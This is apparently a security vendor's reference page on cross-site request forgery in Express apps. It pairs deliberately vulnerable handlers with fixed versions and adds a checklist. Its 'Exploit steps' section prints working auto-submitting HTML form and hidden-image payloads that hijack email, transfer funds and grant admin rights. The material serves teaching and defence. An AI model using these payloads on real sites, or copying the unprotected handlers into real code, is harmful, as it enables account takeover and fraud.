Cross Site Request Forgery
Cross Site Request Forgery at a glance
Overview
CSRF happens when a site relies on ambient credentials like cookies and does not require a per request proof of origin and intent. Attackers host a page that auto submits a form or triggers a request from the victim browser. If the target accepts the request without a token or strict origin checks, state changes occur in the victim session.
Modern defenses combine server validated CSRF tokens with cookie SameSite and correct CORS. For APIs, consider moving away from cookies to explicit Authorization headers with double submit or other protections when necessary.
Where it occurs
It occurs on form submissions or API endpoints using cookie sessions without proper CSRF protection, often due to disabled middleware or overreliance on SameSite cookies.
Impact
Attackers can change email addresses, enable MFA to their device, transfer funds, or modify settings. Because requests are made by the victim browser with valid cookies, logs appear normal.
Prevention
Prevent CSRF by enforcing tokens on unsafe methods, setting cookies with SameSite=Lax/Strict, Secure, and HttpOnly, rejecting requests without valid tokens, and using Authorization headers or double-submit tokens for SPAs.
Examples
Switch tabs to view language/framework variants.
Express, state changing POST lacks CSRF protection
App uses a cookie based session and accepts POST without a CSRF token.
const express = require('express');
const session = require('express-session');
const app = express();
app.use(session({ secret: 'dev', cookie: { sameSite: 'none' } }));
app.use(express.urlencoded({ extended: false }));
app.post('/email', (req, res) => {
// BUG: no CSRF validation
req.session.email = req.body.email;
res.send('ok');
});- Line 6: Cookie session with SameSite none permits cross site send
- Line 9: No token validation on a state change
With cookie auth and no CSRF token, a cross site form can change state in the victim session.
const csrf = require('csurf');
app.use(csrf({ cookie: true }));
app.get('/email', (req, res) => {
res.send(`<form method="post"><input name="email"><input type="hidden" name="_csrf" value="${req.csrfToken()}"><button>Save</button></form>`);
});
app.post('/email', (req, res) => { req.session.email = req.body.email; res.send('ok'); });- Line 1: CSRF middleware issues and validates a token
- Line 3: Token included as hidden field
CSRF tokens bind the request to the site and user interaction. SameSite=Lax or Strict adds another layer.
Engineer Checklist
-
Require CSRF tokens on POST, PUT, PATCH, DELETE
-
Keep cookies SameSite Lax or Strict, set Secure and HttpOnly
-
Do not exempt sensitive routes from CSRF middleware
-
For SPAs, prefer bearer tokens over cookies, or add double submit tokens
-
Validate Origin and Referer headers as an additional signal
End-to-End Example
An Express app uses cookie sessions and accepts POST /email without a CSRF token. An attacker hosts a page that auto submits a form to that endpoint while the victim is logged in.
// Node.js/Express - Vulnerable to CSRF
// VULNERABLE: State-changing POST without CSRF protection
app.post('/change-email', (req, res) => {
const { email } = req.body;
// VULNERABLE: No CSRF token validation!
// Attacker can make victim's browser send this request
req.session.email = email;
res.json({ message: 'Email updated' });
});
// VULNERABLE: Money transfer without CSRF protection
app.post('/transfer', authenticateSession, async (req, res) => {
const { to, amount } = req.body;
// VULNERABLE: Session auth alone is not enough!
// Browser automatically sends session cookie
// Attacker hosts form that posts here
await db.transfers.create({
from: req.user.id,
to,
amount
});
res.json({ success: true });
});
// VULNERABLE: Password change without CSRF token
app.post('/change-password', authenticateSession, async (req, res) => {
const { currentPassword, newPassword } = req.body;
// VULNERABLE: Even checking current password isn't enough!
// Attacker can't guess it, but doesn't need to
// They just trick victim into submitting the form
const user = await User.findById(req.user.id);
const valid = await bcrypt.compare(currentPassword, user.passwordHash);
if (!valid) {
return res.status(401).json({ error: 'Wrong password' });
}
user.passwordHash = await bcrypt.hash(newPassword, 12);
await user.save();
res.json({ message: 'Password changed' });
});
// VULNERABLE: Delete account without protection
app.post('/delete-account', authenticateSession, async (req, res) => {
// VULNERABLE: Destructive action with no CSRF protection!
// Attacker hosts: <img src="https://app.example.com/delete-account" />
// Or JavaScript: fetch('https://app.example.com/delete-account', {method:'POST', credentials:'include'})
await User.deleteOne({ _id: req.user.id });
res.json({ message: 'Account deleted' });
});
// VULNERABLE: API with CORS misconfiguration
app.post('/api/settings', authenticateSession, (req, res) => {
const { theme, notifications } = req.body;
// VULNERABLE: CORS allows credentials from any origin
res.header('Access-Control-Allow-Origin', req.get('Origin'));
res.header('Access-Control-Allow-Credentials', 'true');
// Even with session auth, CSRF is possible via CORS
req.user.settings = { theme, notifications };
res.json({ success: true });
});
// VULNERABLE: GET request that changes state
app.get('/unsubscribe', (req, res) => {
const { email } = req.query;
// VULNERABLE: GET should be idempotent!
// Attacker can trigger with: <img src="/unsubscribe?email=victim@example.com" />
db.unsubscribe(email);
res.send('Unsubscribed');
});
// VULNERABLE: Form without SameSite cookie
app.use(session({
secret: 'my-secret',
cookie: {
httpOnly: true,
secure: true
// VULNERABLE: Missing sameSite!
// Cookie sent on cross-site requests
}
}));
// VULNERABLE: JSON API without proper validation
app.post('/api/admin/promote', authenticateSession, requireAdmin, (req, res) => {
const { userId } = req.body;
// VULNERABLE: Relies only on session
// Attacker tricks admin into visiting malicious page
// Page makes fetch() request with credentials: 'include'
db.users.update({ _id: userId }, { role: 'admin' });
res.json({ success: true });
});// Node.js/Express - Protected against CSRF
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
// SECURE: Session cookies with SameSite
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict' // SECURE: Blocks cross-site cookie sending
},
resave: false,
saveUninitialized: false
}));
// SECURE: Apply CSRF protection to all state-changing routes
app.use(csrfProtection);
// SECURE: Provide CSRF token to frontend
app.get('/api/csrf-token', (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// SECURE: Form with CSRF token
app.get('/change-email', authenticateSession, (req, res) => {
res.send(`
<html>
<body>
<form method="POST" action="/change-email">
<input name="email" type="email" required />
<!-- SECURE: CSRF token in hidden field -->
<input type="hidden" name="_csrf" value="${req.csrfToken()}" />
<button type="submit">Update Email</button>
</form>
</body>
</html>
`);
});
app.post('/change-email', authenticateSession, (req, res) => {
// SECURE: csrfProtection middleware validates token automatically
const { email } = req.body;
req.session.email = email;
res.json({ message: 'Email updated' });
});
// SECURE: Money transfer with CSRF protection
app.post('/transfer', authenticateSession, (req, res) => {
// SECURE: Token validated by middleware
const { to, amount } = req.body;
// Additional validation
if (amount > 10000) {
return res.status(400).json({ error: 'Amount exceeds limit' });
}
await db.transfers.create({
from: req.user.id,
to,
amount
});
res.json({ success: true });
});
// SECURE: Password change with CSRF token
app.post('/change-password', authenticateSession, async (req, res) => {
// SECURE: CSRF token required
const { currentPassword, newPassword } = req.body;
const user = await User.findById(req.user.id);
const valid = await bcrypt.compare(currentPassword, user.passwordHash);
if (!valid) {
return res.status(401).json({ error: 'Wrong password' });
}
user.passwordHash = await bcrypt.hash(newPassword, 12);
await user.save();
res.json({ message: 'Password changed' });
});
// SECURE: Delete account with CSRF and confirmation
app.post('/delete-account', authenticateSession, async (req, res) => {
// SECURE: CSRF token validated
// Also require confirmation code for extra safety
const { confirmationCode } = req.body;
if (confirmationCode !== req.session.deleteConfirmation) {
return res.status(400).json({ error: 'Invalid confirmation' });
}
await User.deleteOne({ _id: req.user.id });
req.session.destroy();
res.json({ message: 'Account deleted' });
});
// SECURE: API with proper CORS configuration
const ALLOWED_ORIGINS = ['https://app.example.com'];
app.post('/api/settings', authenticateSession, (req, res) => {
const origin = req.get('Origin');
// SECURE: Only allow specific origins
if (origin && ALLOWED_ORIGINS.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
// SECURE: Still validate CSRF token even with CORS
const { theme, notifications } = req.body;
req.user.settings = { theme, notifications };
res.json({ success: true });
});
// SECURE: Use POST for state changes, not GET
app.post('/unsubscribe', (req, res) => {
const { email, token } = req.body;
// SECURE: POST with CSRF token
// Or use a signed unsubscribe token in email link
db.unsubscribe(email);
res.json({ message: 'Unsubscribed' });
});
// SECURE: SPA frontend integration
app.get('/app', (req, res) => {
res.send(`
<html>
<head>
<script>
// SECURE: Fetch CSRF token on page load
let csrfToken;
fetch('/api/csrf-token')
.then(r => r.json())
.then(data => {
csrfToken = data.csrfToken;
});
// SECURE: Include token in all state-changing requests
async function updateEmail(email) {
const response = await fetch('/change-email', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken // Send in header
},
body: JSON.stringify({ email }),
credentials: 'same-origin'
});
return response.json();
}
</script>
</head>
<body>
<h1>Settings</h1>
</body>
</html>
`);
});
// SECURE: Custom CSRF middleware with double-submit cookie pattern
function doubleCsrfProtection(req, res, next) {
if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
return next();
}
// Get token from header or body
const tokenFromRequest = req.get('CSRF-Token') || req.body._csrf;
// Get token from cookie
const tokenFromCookie = req.cookies.csrfToken;
// SECURE: Tokens must match
if (!tokenFromRequest || !tokenFromCookie || tokenFromRequest !== tokenFromCookie) {
return res.status(403).json({ error: 'CSRF token validation failed' });
}
next();
}
// SECURE: Validate Origin and Referer headers
app.use((req, res, next) => {
if (req.method !== 'GET' && req.method !== 'HEAD') {
const origin = req.get('Origin');
const referer = req.get('Referer');
// SECURE: Check origin matches our domain
if (origin) {
const originUrl = new URL(origin);
if (originUrl.hostname !== 'app.example.com') {
return res.status(403).json({ error: 'Invalid origin' });
}
}
// SECURE: Check referer if present
if (referer) {
const refererUrl = new URL(referer);
if (refererUrl.hostname !== 'app.example.com') {
return res.status(403).json({ error: 'Invalid referer' });
}
}
}
next();
});Discovery
Test if state-changing requests lack CSRF tokens or if tokens are not properly validated, allowing forged cross-origin requests.
-
1. Test for missing CSRF token
httpAction
Submit state-changing request without CSRF token
Request
POST https://app.example.com/api/account/emailHeaders:Cookie: session_id=abc123xyz789Content-Type: application/jsonBody:{ "email": "attacker@evil.com" }Response
Status: 200Body:{ "message": "Email updated successfully", "email": "attacker@evil.com" }Artifacts
csrf_vulnerability_confirmed no_token_required state_change_allowed -
2. Test CSRF on password change
httpAction
Change password without CSRF protection
Request
POST https://app.example.com/api/account/passwordHeaders:Cookie: session_id=victim-session-tokenBody:{ "new_password": "AttackerPassword123!" }Response
Status: 200Body:{ "message": "Password changed successfully", "note": "No CSRF token required, no re-authentication required" }Artifacts
password_change_csrf account_takeover_vector no_reauth_required -
3. Test CSRF on financial transaction
httpAction
Submit money transfer without CSRF token
Request
POST https://bank.example.com/api/transferHeaders:Cookie: auth_token=victim-bank-sessionBody:{ "to_account": "attacker-account-9999", "amount": 5000 }Response
Status: 200Body:{ "message": "Transfer successful", "transaction_id": "TXN-12345", "amount": 5000, "to_account": "attacker-account-9999" }Artifacts
financial_csrf unauthorized_transfer fund_theft
Exploit steps
Attacker hosts malicious webpage that submits forged requests to victim application when visited by authenticated user, causing account takeover or unauthorized transactions.
-
1. Account takeover via email change CSRF
Change victim's email to attacker-controlled address
httpAction
Victim visits attacker page containing hidden form that changes their email
Request
POST https://app.example.com/api/account/emailBody:{ "html_payload": "<html><body><form id='csrf' action='https://app.example.com/api/account/email' method='POST'><input name='email' value='attacker@evil.com'/></form><script>document.getElementById('csrf').submit();</script></body></html>", "note": "Victim with active session visits attacker page at attacker.com/trap.html" }Response
Status: 200Body:{ "message": "Email changed from victim@company.com to attacker@evil.com. Attacker can now reset password via email, gaining full account access.", "account_status": "compromised" }Artifacts
email_hijack password_reset_vector account_takeover -
2. Unauthorized fund transfer via CSRF
Transfer money from victim to attacker account
httpAction
Malicious page submits transfer request using victim's session
Request
POST https://bank.example.com/api/transferBody:{ "html_payload": "<img src='https://bank.example.com/api/transfer?to_account=attacker-9999&amount=10000' style='display:none'/>", "note": "Victim visits page, browser automatically sends GET request with cookies" }Response
Status: 200Body:{ "message": "Transferred $10,000 from victim account #1234 to attacker account #9999", "transaction_id": "TXN-98765", "victim_balance_remaining": "$2,450" }Artifacts
unauthorized_transaction fund_theft financial_fraud -
3. Privilege escalation via CSRF
Change user role to admin via CSRF
httpAction
Admin user visits malicious page that changes attacker's role to admin
Request
POST https://app.example.com/admin/users/9999/roleBody:{ "html_payload": "<form id='priv' action='https://app.example.com/admin/users/9999/role' method='POST'><input name='role' value='admin'/></form><script>document.getElementById('priv').submit();</script>", "note": "Admin visits attacker page while logged in" }Response
Status: 200Body:{ "message": "User 9999 role changed to admin", "user": { "id": 9999, "username": "attacker", "role": "admin", "permissions": [ "users:read", "users:write", "users:delete", "system:admin" ] } }Artifacts
privilege_escalation admin_access_gained csrf_privilege_abuse
Specific Impact
Account state changes without user intent. This can redirect alerts, enable recovery paths controlled by the attacker, and lock users out.
Fraud flows can be chained by changing payment or shipping details through CSRF in a logged in session.
Fix
Server issues a token and requires it on POST. Cookies also use SameSite and Secure to reduce cross site delivery.
For API endpoints, avoid cookies and use Authorization headers with strict CORS.
Detect This Vulnerability in Your Code
Sourcery automatically identifies cross site request forgery vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free